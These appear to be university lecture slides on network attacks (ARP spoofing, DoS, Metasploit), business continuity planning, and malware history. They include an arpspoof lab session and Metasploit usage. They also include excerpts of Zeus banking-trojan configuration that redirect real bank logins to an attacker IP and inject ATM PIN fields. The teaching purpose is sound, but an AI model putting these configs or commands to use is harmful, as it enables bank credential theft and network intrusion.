

Week 3 – Network Hacking

Network Attack

Attacks on each layer in OSI model

- Buffer Overflow
- SQL Injection
- Authentication Brute Force

- Session Hijacking
- DNS Poisoning

- Ping Flood
- Port scanning
- Fingerprinting

Keystroke Logging
Lockpicking
Cutting Cable

OSI Model

Application

Presentation

Session

Transport

Network

Data Link

Physical

- SSL DoS
- SSL MITM

- TCP Flooding
- UDP Flooding

- Packet sniffing
- MAC Address Spoofing
- VLAN Attack
- ARP Cache Poisoning

Security Issues in TCP/IP

Fundamental Design

- Communications are based on ports
- open and self discipline
- not for commercial uses

Software flaws

Insecure Operating Systems

Poor configurations

Security Issues in TCP/IP

Plaintext protocol – Sniffing

Weak integrity – Injection, Poisoning

Connection-less – Spoofing

Weak authentication – Masquerading

Weak sessions – Hijacking, Spoofing, DoS, Man-in-the-middle

Weak routing – Source Routing, Re-routing

Weak Quality of Service – DoS

Non-standard implementation – fingerprinting

Software flaw

Buffer Overflow

Out-of-Band data

bugs and vulnerabilities in the protocol stack

bugs in the browser and server

Software flaw can usually be fixed but can never be eliminated.

Flooding & Spoofing

Simple Spoofing (Non-blind)

IP-spoofing is the act of forging IP packets

- Non-blind spoofing (NBS) interferes a connection that sends packets along the spoofer's subnet (so typically the spoofer is on the same subnet as one of the 2 hosts being spoofed)
- Blind spoofing interferes with a connection that does not send packets that the spoofer can sniff off. It is more difficult.

Spoofing may lead to connection being “*hijacked*”.

ARP Spoofing

Use arpspoof utility to ARP spoof the gateway of network

Poison a hosts ARP cache by setting the gateway's MAC address to broadcast address

Arpspoof -t x.x.x.x gateway.ip


ARP Spoofing

Attacker mimics the ARP entry of the target host

E.g. the target host's physical address:

```
Ethernet adapter VMware Network Adapter VMnet8:
UMnet8
    Connection-specific DNS Suffix . : 
    Description . . . . . : VMware Virtual Ethernet Adapter for
    Physical Address. . . . . : 00-50-56-C0-00-08
    Dhcp Enabled. . . . . : No
    IP Address. . . . . : 192.168.230.1
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . :
```

ARP Spoofing: Sending spoof packets



```
Linux - [Ctrl-Shift-Alt-F3] - VMware Workstation
File Edit Power Snapshot View Windows Help
[Linux]
[root@vm_rh9 root]# arpspoof 192.168.230.1
0:c:29:25:16:e0 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:c:29:25:16:e0
0:c:29:25:16:e0 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:c:29:25:16:e0
0:c:29:25:16:e0 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:c:29:25:16:e0
0:c:29:25:16:e0 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:c:29:25:16:e0
0:c:29:25:16:e0 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:c:29:25:16:e0
0:c:29:25:16:e0 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:c:29:25:16:e0
0:c:29:25:16:e0 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:c:29:25:16:e0
0:c:29:25:16:e0 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:c:29:25:16:e0
0:50:56:c0:0:8 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:50:56:c0:0:8
0:50:56:c0:0:8 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:50:56:c0:0:8
0:50:56:c0:0:8 ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.230.1 is-at 0:50:56:c0:0:8
[root@vm_rh9 root]# _
```

ARP Spoofing: Victim

```
Redhat 6.2 - [Ctrl-Shift-Alt-F2] - VMware Workstation
File Edit Power Snapshot View Windows Help
[Icons: Run, Pause, Play, Stop, Snapshot, Revert, Full Screen, Help]

Redhat 6.2
arp
--- 192.168.230.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 3.4/3.4/3.4 ms
[root@hp_linux /root]# arp -a
? (192.168.230.1) at 00:50:56:C0:00:08 [ether] on eth0
? (192.168.230.2) at 00:50:56:EA:FA:B7 [ether] on eth0
[root@hp_linux /root]# arp -d
arp: need host name
[root@hp_linux /root]# ping 192.168.230.1
PING 192.168.230.1 (192.168.230.1) from 192.168.230.132 : 56(84) bytes of data.

--- 192.168.230.1 ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss
[root@hp_linux /root]# arp -d
arp: need host name
[root@hp_linux /root]# ping 192.168.230.1
PING 192.168.230.1 (192.168.230.1) from 192.168.230.132 : 56(84) b

--- 192.168.230.1 ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss
[root@hp_linux /root]# arp -a
? (192.168.230.1) at 00:0C:29:25:16:E0 [ether] on eth0
? (192.168.230.2) at 00:50:56:EA:FA:B7 [ether] on eth0
[root@hp_linux /root]# _
```

Do you see the diff.?

ARP Spoofing Autopsy

The image shows a Wireshark packet capture window titled "<capture> - Ethereal". The packet list table is as follows:

No.	Time	Source	Destination	Protocol	Info
1	0.000000	00:50:56:c0:00:08	ff:ff:ff:ff:ff:ff	ARP	Who has 192.168.230.132? Tell 192.168.230.1
2	0.000639	00:0c:29:dd:d1:95	00:50:56:c0:00:08	ARP	192.168.230.132 is at 00:0c:29:dd:d1:95
3	5.043892	00:0c:29:dd:d1:95	00:50:56:ea:fa:b7	ARP	Who has 192.168.230.2? Tell 192.168.230.132
4	5.043932	00:50:56:ea:fa:b7	00:0c:29:dd:d1:95	ARP	192.168.230.2 is at 00:50:56:ea:fa:b7
5	5.997925	00:0c:29:dd:d1:95	00:50:56:c0:00:08	ARP	Who has 192.168.230.1? Tell 192.168.230.132
6	5.997943	00:50:56:c0:00:08	00:0c:29:dd:d1:95	ARP	192.168.230.1 is at 00:50:56:c0:00:08
7	8.494561	00:0c:29:25:16:e0	ff:ff:ff:ff:ff:ff	ARP	192.168.230.1 is at 00:0c:29:25:16:e0
9	12.510200	00:0c:29:25:16:e0	ff:ff:ff:ff:ff:ff	ARP	192.168.230.1 is at 00:0c:29:25:16:e0

An orange callout box points to packet 7 with the text: "Attacker floods the network with spoofed ARP packet".

Below the packet list, the details pane shows the structure of Frame 1 (42 bytes on wire, 42 bytes captured):

- Ethernet II, Src: 00:50:56:c0:00:08, Dst: ff:ff:ff:ff:ff:ff
 - Destination: ff:ff:ff:ff:ff:ff (ff:ff:ff:ff:ff:ff)
 - Source: 00:50:56:c0:00:08 (00:50:56:c0:00:08)
 - Type: ARP (0x0806)

The packet bytes pane shows the raw data in hexadecimal and ASCII:

```
0000  ff ff ff ff ff ff 00 50 56 c0 00 08 08 06 00 01  ....P V.....
0010  08 00 06 04 00 01 00 50 56 c0 00 08 c0 a8 e6 01  ....P V.....
0020  00 00 00 00 00 00 c0 a8 e6 84                    ..... ..
```

At the bottom of the window, the filter bar is empty, and the status bar shows "Reset Apply File: <capture> Drops: 0".

Denial of Services Attack

What is Denial of Services Attack


In computing, a denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a machine or network resource unavailable to its intended users

Denial of Services


Syn Flooding (e.g. synflood.c)

- A **TCP connection request** (SYN) is sent to the target computer
- The source IP address in the packet is "spoofed" or replaced with an address that is not in use on the Internet, or that belongs to another computer
- An attacker will send many of these **TCP SYNs to tie up as many resources** as possible on the target computer


Denial of Services (Cont.)



Denial of Services (Cont.)



From DoS to DDoS Attacks



Business Continuity Planning and Disaster Recovery Planning

Business Continuity Management Overview

Definition (ISO 27031):

- Business continuity management (BCM)– holistic management process that **identifies** potential threats to an organization and the **impacts** to business operations whose threats, if realized, might cause, and which provides a framework for building organizational resilience with the capability for an **effective response that safeguards** the interests of its key stakeholders, reputation, brand and value-creating activities
- Business continuity plan (BCP) – documented procedures that guide organizations to respond, recover, resume, and restore to a pre-defined level of operation following disruption

Disaster Recovery Plan


Definition (ISO 27031)

- ICT disaster recovery (Disaster Recovery or DR) – ability of the ICT elements of an organization to support its critical business functions to an acceptable level within a predetermined period of time following a disruption
- ICT disaster recovery plan (ICT DRP or DRP) – clearly defined and documented plan which recovers ICT capabilities when a disruption occurs

Some more key terms

Definitions (ISO 27031)


- minimum business continuity objective (MBCO) – minimum level of services and/or products that is acceptable to the organization to achieve its business objectives during a disruption
- recovery point objective (RPO) – point in time to which data must be recovered after a disruption has occurred
- recovery time objective (RTO) – period of time within which minimum levels of services and/or products and the supporting systems, applications, or functions must be recovered after a disruption has occurred



Last available backed up data

Back to operation

Business continuity framework from ISO 27031



Note: ICT = Information communication and technology = IT

Business Continuity Planning Overview

1. Business Impact Analysis

- What is BIA ?
- Objectives of BIA
- Techniques

2. Strategy Formulation

- Results of BIA
- Risk Against Probability

Business Continuity Planning Overview (Cont.)

3. Plan Develop

- Contents of the Plan

4. Plan Implementation and Testing

- Implementation Barriers
- Why Testing ?
- What Kinds of Testing ?

5. Maintenance

- Why BCP Maintenance ?
- Revision Focus

Exploitations

Exploits and Metasploits

EXPLOIT DATABASE

HOME GHDB ABOUT REMOTE LOCAL WEB DOS SHELLCODE

Do you want to be a Professional?

The Exploit Database

The Exploit Database (EDB) - an ultimate archive of exploits and penetration testers, vulnerability researchers, and security addicts submittals and mailing lists and concentrate them in one, easy to navigate

Remote Exploits

Date	D	A	V	Description
2014-06-01	↓	⚠	✓	Easy File Management Web Server v5.3 - UserID Remote Buffer Overflow
2014-05-30	↓	-	✓	ElasticSearch Dynamic Script Arbitrary Java Execution
2014-05-28	↓	⚠	✓	TORQUE Resource Manager 2.5.x-2.5.13 - Stack Based Buffer Overflow
2014-05-27	↓	⚠	✓	Easy File Sharing FTP Server 3.5 - Stack Buffer Overflow
2014-05-26	↓	-	✓	Symantec Workspace Streaming Arbitrary File Upload
2014-05-21	↓	⚠	✓	Easy File Management Web Server 5.3 - Stack Buffer Overflow
2014-05-21	↓	⚠	✓	Easy Address Book Web Server 1.6 - Stack Buffer Overflow

```
root@kali-vm: ~  
File Edit View Search Terminal Help  
msf > show  
show all          show encoders  show nops          show payloads      show post  
show auxiliary    show exploits  show options      show plugins  
msf > show exploits
```

Name	Disclosure Date	Rank	Description
aix/local/ibstat_path	2013-09-24	excellent	ibstat \$PATH Privilege Escalation
aix/rpc.cmsd.opcode21	2009-10-07	great	AIX Calendar Mailer Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow
aix/rpc.ttdbserverd_realpath	2009-06-17	great	ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)
android/browser/samsung_knox_smdm_url	2014-11-12	excellent	Samsung Galaxy KNOX Android Browser RCE
android/browser/webview_addjavascriptinterface	2012-12-21	excellent	Android Browser and WebView addJavaScriptInterface Code Execution
android/fileformat/adobe_reader_pdf_js_interface	2014-04-13	good	Adobe Reader for Android addJavaScriptInterface Exploit
android/local/futex_requeue	2014-05-03	excellent	Android 'Towelroot' Futex Requeue Kernel Exploit
apple_ios/browser/safari_libtiff	2006-08-01	good	Apple iOS Mobile Safari LibTIFF Buffer Overflow
apple_ios/email/mobilemail_libtiff	2006-08-01	good	Apple iOS Mobile Mail LibTIFF Buffer Overflow
apple_ios/ssh/cydia_default_ssh	2007-07-02	excellent	Apple iOS Default SSH Password Vulnerability
bsdi/softcart/mercantec_softcart	2004-08-19	great	Mercantec SoftCart CGI Overflow
dialup/multi/login/manyargs	2001-12-12	good	System V Derivative /bin/login Extraneous Arguments Buffer Overflow
firefox/local/exec_shellcode	2014-03-10	normal	Firefox Exec Shellcode from Privileged Javascript Shell
freetsd/ftp/proftpd_telnet_iac	2010-11-01	great	ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
freetsd/local/mmap	2013-06-18	great	FreeBSD 9 Address Space Manipulation Privilege Escalation
freetsd/misc/citrix_netscaler_soap_bof	2014-09-22	normal	Citrix NetScaler SOAP Handler Remote Code Execution
freetsd/samba/trans2open	2003-04-07	great	Samba trans2open Overflow (*BSD x86)
freetsd/tacacs/xtacacsd_report	2008-01-08	average	XTACACSD report() Buffer Overflow
freetsd/telnet/telnet_encrypt_keyid	2011-12-23	great	FreeBSD Telnet Service Encryption Key ID Buffer Overflow
hpux/lpd/cleanup_exec	2002-08-28	excellent	HP-UX LPD Cleanup Exec

Exploits and Vulnerability Database

<https://www.exploit-db.com>

<https://github.com/offensive-security/exploit-database> (SearchSploit for Exploit-db.com)

<http://www.securityfocus.com> (Bugtraq ID)

<http://packetstormsecurity.com>

<http://www.cvedetails.com> (CVE)

<https://cve.mitre.org/cve/index.html> (CVE)

<http://www.rapid7.com/db/vulnerabilities> (from Rapid 7)

<http://www.rapid7.com/db/modules> (Modules for Metasploit)

<http://www.tenable.com/pvs-plugins> (Tenable Nessus)

Exploits (Recent cases)

Internet Explorer vulnerabilities

StageFright

Thunderstrike 2



“Thunderstrike 2” rootkit uses Thunderbolt accessories to infect Mac firmware **[Updated]**

Problems remain, but Macs running 10.10.4 and up aren't "trivially vulnerable."

by Andrew Cunningham - Aug 6, 2015 3:51am CST

[Share](#) [Tweet](#) [45](#)



Credit: CSO staff

The patch fixes a security hole that lets an attacker run malicious code remotely



By Blair Hanley Frank

[FOLLOW](#)

IDG News Service | Aug 18, 2015 3:36 PM PT

Metasploit

```
msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
msf exploit(ms09_050_smb2_negotiate_func_index) > help
...snip...
Exploit Commands
=====

Command      Description
-----
check        Check to see if a target is vulnerable
exploit      Launch an exploit attempt
rcheck       Reloads the module and checks if the target is vulnerable
rexplrit     Reloads the module and launches an exploit attempt

msf exploit(ms09_050_smb2_negotiate_func_index) >
```

```
msf exploit(ms09_050_smb2_negotiate_func_index) > show targets
```

Exploit targets:

Id	Name
0	Windows Vista SP

```
msf exploit(ms09_050_smb2_negotiate_func_index) > show payloads
```

Compatible Payloads

=====

Name
generic/custom
generic/debug_trap
generic/shell_bind_tcp
generic/shell_reverse_tcp
generic/tight_loop
windows/adduser

...snip...

```
msf exploit(ms09_050_smb2_negotiate_func_index) > show options
```

Module options (exploit/windows/smb/ms09_050_smb2_negotiate_func_index):

Name	Current Setting	Required	Description
RHOST		yes	The target address
RPORT	445	yes	The target port
WAIT	180	yes	The number of seconds to wait for the attack to complete.

Exploit target:

Id	Name
0	Windows Vista SP1/SP2 and Server 2008 (x86)

0 Windows Vista SP1/SP2 and Server 2008 (x86)

Metasploit

➔ Penetration Testing : Crash Windows 7 Using Metasploit and Remote Desktop Connection Vulnerability



Posted: July 24, 2014 in Uncategorized

Crashing Windows 7

```
***STOP: 0x000000D1 (0x00000000, 0xF73120AE, 0xC0000000, 0xC0000000)
A problem has been detected and Windows has been shut down to prevent damage
to your computer.
DRIVER_IRQL_NOT_LESS_OR_EQUAL
If this is the first time you've seen this Stop error screen, restart your
computer. If this screen appears again, follow these steps:
Check to make sure any new hardware or software is properly installed. If this is a
new installation, ask your hardware or software manufacturer for any windows updates
you might need.
If problems continue, disable or remove any newly installed hardware or software.
Disable BIOS memory options such as caching or shadowing. If you need to use Safe
Mode to remove or disable components, restart your computer, press F8 to select
Advanced Startup Options, and then select Safe Mode.
*** ABCD.SYS - Address F73120AE base at C0000000, DateStamp 368072A3
Kernel Debugger Using: COM2 (Port 0x2F8, Baud Rate 19200)
Beginning dump of physical memory
Physical memory dump complete. Contact your system administrator or
technical support group.
```

<https://informationtreasure.wordpress.com/2014/07/24/penetration-testing-crash-windows-7-using-metasploit-and-remote-desktop-connection-vulnerability/>

DNS

DNS Attacks

- DNS Spoofing
- DNS Response Flooding
- DNS ID hacking
- DNS cache poisoning
- Information Leakage
- DNS Server Exploitation

Malicious Code, Virus Attack and Program Code



Top 10 Virus (Aug 2011)

McAfee Security World Virus Map - Viruses by Continent - Mozilla Firefox

Asia - Past 30 days

#	Virus Name
1.	JS/Exploit-BO
2.	Exploit-PDF.q.gen!stream
3.	Generic.dx
4.	Generic!atr
5.	W32/Conficker.worm!inf
6.	Artemis!4B15346DD4DA
7.	Artemis!46178973FF0A
8.	Generic.dx!wmm
9.	Suspicious IFrame.d
10.	Adware-OpenCandy.dll

216.49.90.122

Threat Explorer

Latest Risks

Type	Potentially Unwanted App	Security Assessment Tool	Other
Adware			
Adware			
Spyware			
Other			
Other			
Other			
Other			
Misleading Application			
Adware			
Misleading Application			
Misleading Application			
Worm			
Misleading Application			
Potentially Unwanted App			

Top10 detections (Yesterday)


The following graph shows which were the most popular results for all files received and detected by at least one antivirus yesterday.

Virus Name	Detections
HTML:Shellface-D	4,463
JS/CLICKER.B408	
JS/CRSHell.gen	
JS/CRSHell.Y	
Trojan.SpyGL-03B408	
JS/Shellcode	
JS/CRSHell.20070.B	
JS/Clicker.BYET	
JS/Shellcode	
Backdoor.PHP.C3934d8	


Virus Name	Date
Adware.InstallPedia	07/11/2011
Spyware.SpyKeyboard	06/23/2011
SONAR.RogueA/igen18	06/21/2011
SONAR.RogueA/igen18	06/21/2011
SONAR.RogueA/igen17	06/21/2011
SONAR.RogueA/igen16	06/21/2011
Spyware Remover	
Adware.Rotator	05/10/2011
MacProtector	05/08/2011
Hacktool.Incra1	05/06/2011
MACDefender	
SecurityRisk.OrphanInf	
CleanThisFraud	03/30/2011
FakeSurvey	03/22/2011

96.56.200.191


Document related Exploits



OS, Browser, Apps vulnerability (Oct 2012)



Content of Spamming message (Oct 2012)



Malicious Code and Virus Attack

Outline

Types of Virus

- What is Virus ?
- Types of Virus ?

Sources of Virus

- Indications of an Infection

Defending Strategies

- Technical Mechanisms
- Managerial Mechanisms

System Patching

Virus Characteristics

a computer virus is a computer program

- Parasitism
- Replication
- Concealment
- Payload
- Polymorphism
- Stealth

Virus – a brief history

Don't know exactly when it starts

1971: Creeper worm on DEC PDP-10

1983: vd on VAX 11/750, Fred Cohen, Len Adleman

1980s: Real viruses were initiated by in Apple II

1986: BRAIN, an early PC.com infector

1988: Morris Worm, a UNIX internet worm

1990: Polymorphs – Whale, with 30 different forms

1990: Multiparites – Flip/Omicron from Bulgaria

1995: MS Office Macro Viruses, the Wm.Concept

1998: CIH, on its trigger date, rewrite the BIOS

1999: Melissa and Happy99, self mailed

2000: I Love YOU, the vb virus

Types of Virus

Types of Virus

- Boot Virus
 - It replaces the boot record program (which is responsible for loading the OS in memory) copying it elsewhere on the disk or overwriting it. Boot viruses load into memory if the computer tries to read the disk while it is booting
- Program Virus
 - These infect executable program files, such as those with extensions like .BIN, .COM, .EXE, .OVL, .DRV (driver) and .SYS (device driver). These programs are loaded in memory during execution, taking the virus with them. The virus becomes active in memory, making copies of itself and infecting files on disk.

Types of Virus

Types of Virus

- Multipartite Virus
 - A hybrid of Boot and Program viruses. They infect program files and when the infected program is executed, these viruses infect the boot record. When you boot the computer next time the virus from the boot record loads in memory and then starts infecting other program files on disk.

Types of Virus

Types of Virus

- Stealth Virus

- These viruses use certain techniques to avoid detection. They may either redirect the disk head to read another sector instead of the one in which they reside or they may alter the reading of the infected file's size shown in the directory listing.

- Polymorphic Virus

- A virus that can encrypt its code in different ways so that it appears differently in each infection. These viruses are more difficult to detect.

Types of Virus

Types of Virus

- Macro Virus
 - A macro virus is a new type of computer virus that infects the macros within a document or template. When you open a word processing or spreadsheet document, the macro virus is activated and it infects the Normal template (Normal.dot)-a general purpose file that stores default document formatting settings. Every document you open refers to the Normal template, and hence gets infected with the macro virus. Since this virus attaches itself to documents, the infection can spread if such documents are opened on other computers.

Types of Virus

Types of Virus

- Active X / Javascript / Java Applet
 - ActiveX and Java controls will soon be the scourge of computing. Most people do not know how to control there web browser to enable or disable the various functions like playing sound or video and so, by default, leave a nice big hole in the security by allowing applets free run into there machine. There has been a lot of commotion behind this and with the amount of power that JAVA imparts, things from the security angle seem a bit gloom.

Worms

A “self-reproducing” program that is often distinguished from a virus in that it copies itself without being attached to a program file, or by spreading actively over computer networks, particularly via email

Usually it is a program that replicate itself without the use of a host

It can hide inside other files, it will release another document that already has the worm inside that file

Trojan Horse

A trojan horse is:

- **unauthorized code** contained within a **legitimate program**
- performs **functions unknown** to the user
- a legitimate program that has been **altered by the placement of unauthorized code** within it
- It does not replicate itself unless it is invited by the user and could cause loss or theft of information

Trojan Horse

This is not necessarily a virus, but simply a program (often harmful) that pretends to be something else:

- A program that pretends to be a windows logon interface
- A program that pretends to be “su”
- A program that pretends to be telnet
- All of the above try to get your passwords
- Similar Trojan horses exist for telephone systems, too. Trying to get your phone cards PIN numbers.

Virus Attacking Example

LoveLetter Virus

- Macros virus (VBS / Visual Basic Scripting)
- Infect Windows Scripting Host (WSH) installed machine & Outlook
- Send through email
 - Overwrite .jpg .mp3 and other file types
 - Attempt to send a copy of itself to everyone in the recipient's address book
- Attachment : LOVE-LETTER-FOR-YOU.TXT.VBS

Other Malicious Codes


Code Red

- Worms
- Attack IIS .ida buffer overflow vulnerabilities
- A special string in the HTTP request will expose the vulnerability

Nimda

- Hybrid (Worms + Email Virus)
- Email, Web pages, File Systems infection
- Can the name and copy of itself to the systems files (trojan horse)

Other Malicious Codes



Other Malicious Codes

Bugbear

- A lot of variants
- Mass-emailing worm as an attachment
- Email itself to the recipient on the address book
- Build in key-logger and back-door listen to TCP 1080
- Attempt to terminate security software process (e.g. antivirus, firewall)
- Copy itself to the local machine file systems (especially those shared files)
- Some variants has its own email engine
- Some variants spams print jobs

Other Malicious Codes

SQL Slammer worms

- Target on Microsoft SQL 2000
- Exploit the buffer overflow vulnerabilities
- UPD 1434
- Take over the machine and resident in the memory only
- Scan for other hosts

Bank Fraud



Banking Botnet trojan





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Botnet-controlled Trojan robbing online bank customers

Security firm says malware targeting commercial customers believed to have come from Russia

By [Ellen Messmer](#), Network World, 12/13/2007

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 Newsletter Sign-Up


A new variant on the "Prg Banking Trojan" malware discovered in June is stealing funds from commercial accounts in the United States, United Kingdom, Spain and Italy with a botnet called Zbot, says Atlanta-based [SecureWorks](#).

"It's been very successful since we've first seen this at the end of November," says Don Jackson, senior security researcher at SecureWorks, which believes the Prg Trojan variant is designed by the Russian hackers group known as Russian UpLevel working with some German affiliates.

"The Trojan has the ability to use a man-in-the-middle attack, a kind of shoulder-surfing when someone logs into a bank account. It can inject a request for a Social Security number or other information, and it's very dynamic. It's targeted for each specific bank."

SecureWorks says about a dozen banks -- which it wouldn't identify because it says the U.S.


White Paper
[Server Refresh: Making Good Business Sense: Download now](#)

 Refine your Google search

Your search on **""bank trojan""** also yielded these NetworkWorld results.

- **Nasty banking Trojan makes mules of victims**
A sophisticated Trojan horse program designed to empty bank accounts has a new trick up its sleeve: It lies to investigators...
October 6, 2009
- **Do phishers have more poles in the water?**
Are phishing attacks going up or down? The answer depends on who you ask.
September 28, 2009
- **The Internet is now like the Wild West: IBM consultant**
"The Internet has finally taken on the characteristics of the Wild West where no one is to be trusted," said Sukhdev...
September 10, 2009
- **Researcher reveals massive 'professional thieving' botnet**
A nasty piece of malware that's infected up to a million PCs is stealing financial information from consumers and businesses...
July 29, 2009

Zeus and other Bank malware




What is Zeus

Symantec named that as “King of the Underground Crimeware toolkits”

Crimeware Kit

- Available for a price of \$3,500 or \$150
- Includes bot and command & controls (C&C)
- Bot-propagation methods NOT included
- Over 1000 detected ZeuS hosts, 1000 URLs with ZeuS.
- Signature base Anti-virus CANNOT detect all ZeuS



* <http://www.warezscene.org/old-marketplace/614216-zeuesta-exploit-pack-v5-0-a.html>

* Statistics from Trusteer

How Zeus works?

Zeus :: Bots

Information:
 Profile:
 GMT date:
 GMT time:

Statistics:
 Summary

Botnet:
 → Online bots
 Remote commands

Logs:
 Search
 Search with template
 Uploaded files
 Logout

Filter

Countries: CompID's:
 Botnets: IP's:

Type:

Result:

#	CompID	Ver/Botnet	IP	Country	Socks	Proxy	Screenshot	Online time	Lag
Empty									

Zeus :: Logs search

Information:
 Profile:
 GMT date:
 GMT time:

Statistics:
 Summary

Botnet:
 Online bots
 Remote commands

Logs:
 → Search
 Search with template
 Uploaded files
 Logout

Search filter

From date (dd.mm) --,--,-- to date --,--,--

Countries: CompID's:
 Botnets: IP's:

Query:

Log type:

Output:

☐ Case
☐ Exclu
☐ Don't

Any
 HTTP
 HTTPS
 HTTP/HTTPS
 FTP
 POP3
 Grabbed data
 Protected Storage
 IE history
 Other

Zeus configuration files

```
end

entry "webFilters"
  "@https://*.e-gold.com/*"
end

entry "webDataFilters"
  "http://mail.rambler.ru/*" "passwd;login"
end

entry "webFakes"
  :US
  "https://sitekey.bankofamerica.com/sas/signon.do" "http://203.223.159.94/pop/fk/US/bofa.php"
  "https://chaseonline.chase.com/siteminderagent/forms/formpost.fcc" "http://203.223.159.94/pop/fk/US/chase.php"

  :UK
  "https://ibank.barclays.co.uk/olb/s/LoginMember.do" "http://203.223.159.94/pop/fk/UK/barclays.co"
  "https://home.cbonline.co.uk/login.html?message=" "http://203.223.159.94/pop/fk/UK/cbonline.ph"
  "https://home.ybonline.co.uk/login.html?message=" "http://203.223.159.94/pop/fk/UK/ybonline.ph"
  "https://ibank.cahoot.com/servlet/com.aquarius.security.authentication.servlet.LogonServlet" "http://203.223.159.94/pop/fk/UK/cahoot.php"
  "https://www.halifax-online.co.uk/CustomerAuthentication/HxProcessLogin.aspx" "http://203.223.159.94/pop/fk/UK/halifax.php"
  "https://www.ebank.hsbc.co.uk/servlet/com.hsbc.ib.app.pib.logon.servlet.OnBrochurewareLogonServlet" "http://203.223.159.94/pop/fk/UK/hsbc.php"
  "https://online-business.lloydstsb.co.uk/logon.ibc" "http://203.223.159.94/pop/fk/UK/lloydstsb_b"
  "https://online-offshore.lloydstsb.com/logon.ibc" "http://203.223.159.94/pop/fk/UK/lloydstsb_o"
  "https://online.lloydstsb.co.uk/logon.ibc" "http://203.223.159.94/pop/fk/UK/lloydstsb_p"

  :ES
  "https://www.bancajaproximaempresas.com/ControlEmpresas" "http://203.223.159.94/pop/fk/ES/bancaja_e.p"
  "https://www.bancaja.*/ControlParticulares" "http://203.223.159.94/pop/fk/ES/bancaja_p.p"
  "https://www.gruposantander.es/bog/sbi" "http://203.223.159.94/pop/fk/ES/gruposantan"
  "https://www.unicaja.es/PortalServlet?pag=1110902071492*" "http://203.223.159.94/pop/fk/ES/unicaja.php"
  "https://extranet.banesto.es/npageloginParticulares.htm" "http://203.223.159.94/pop/fk/ES/banesto_p.p"
  "https://www2.bancopopular.es/AppBPE/servlet/servin?p_pm=bo&p_pf=c&p_id=esp" "http://203.223.159.94/pop/fk/ES/bancopopula"
end

entry "TANGGrabber"
  "https://banking.*/de/cgi/ueberweisung.cgi/*" "S3C6" "*" "tid=" "*" "&betrag="
  "https://internetbanking.gad.de/banking/*" "S3C6" "*" "KktNrTanEnz"
  "https://cipehb*.cdg.citibank.de/HomeBanking*?_D=workArea&*" "S3C6R1" "*" "DT" "*" "I2"
  "https://www.vr-networld-ebanking.de/ebanking*Action=" "S3C6" "*" "*" "schmetterling"
  "https://finanzportal.fiducia.de/ebanking*Action=" "S3C6" "*" "*" "schmetterling"
  "https://finanzportal.fiducia.de/ebbg2/portal?token=" "S3C6" "*" "&decBetrag=" "*" "value_*"
  "https://onlinebanking.norisbank.de/norisbank/*_do?method=" "S3C6" "*" "*" "tan"
  "https://www.dresdner-privat.de/servlet/*" "S3C6" "*" "&CMD=stapelFreigeben&*" "*"
  "https://brokerage.comdirect.de/servlet/*TAN*" "S3C6" "*" "&transactionID=" "*"
end
```


Zeus configuration files

```
set_url https://www.e-gold.com/acct/balance.asp* GPL
data_before
<form name=fiat*></form>
data_end
data_inject
data_end
data_after
<th colspan=4 align=left valign=bottom"
data_end
```

```
set_url https://online.wellsfargo.com/das/cgi-bin/session.cgi* GL
data_before
<div id="pageIntro" class="noprint">
data_end
data_inject
data_end
data_after
<td id="sidebar" align="left" valign="top" class="noprint">
data_end
```

```
set_url https://www.wellsfargo.com/* G
data_before
<span class="mozcloak"><input type="password"*></span>
data_end
data_inject
<br><strong><label for="atmpin">ATM PIN</label>:</strong>&nbsp;<br />
<span class="mozcloak"><input type="password" accesskey="A" id="atmpin" name="uspass" size="13" maxlength="14" style="width:147px" tabindex="2" /></span>
data_end
data_after
data_end
```

```
set_url https://online.wellsfargo.com/login* GP
data_before
<input type="password" name="password"*></td>
data_end
data_inject
<td width="225"><label for="password" class="formlabel">3. ATM PIN</label><br/>
<input type="password" name="uspass" id="atmpin" size="20" maxlength="14" title="Enter ATM PIN" tabindex="11" accesskey='A' />
<br/>&nbsp;</td>
data_end
data_after
data_end
data_before
<label for="account" class="formlabel">
data_end
data_inject
4. Sign on to
data_end
data_after
```

So how Zeus works?

The configuration file generate the bots

The malware: Zbot

- Steal data entered into browser form fields (through WinAPI of wininet.dll to intercept)
- Can ex-filtrate stolen data for criminal use in real-time

What Zbot can do?

Configure and change

- proxy server settings
- local DNS settings

Using the polymorphic encrypter to generate different copies of itself.

Capturing

- certificates.
- screenshots of the affected computers.
- passwords from programs
- Data content from any form

Intercepts virtual keyboard

Removing cookies to get the user to re-enter the passwords.

Perform remote control commands.

Block users from accessing some web sites

Adding additional fields to a website and monitor the data sent

Compromise 2-factors authentication scheme

Where are Zeus botnet?

The screenshot shows the abuse.ch Zeus Tracker interface in a Mozilla Firefox browser. The page displays a list of Zeus botnet hosts with various details. The browser's address bar shows the URL: <https://zeustracker.abuse.ch/monitor.php?filter=online>.

abuse.ch Zeus Tracker :: monitor

The Zeus Tracker monitors the Zeus botnet and the associated files / URIs once a day. Zeus domains which are bullet proof hosts.

There are total **1046 Zeus hosts** (525 are the Zeus Tracker database).

Below you can see ALL Zeus host which are Zeus hosts. Every Zeus host will be tagged with a level.

Here you can search for a MD5 hash, a file name or a domain name.

Browse: [Zeus binaries](#) | [Zeus configs](#)
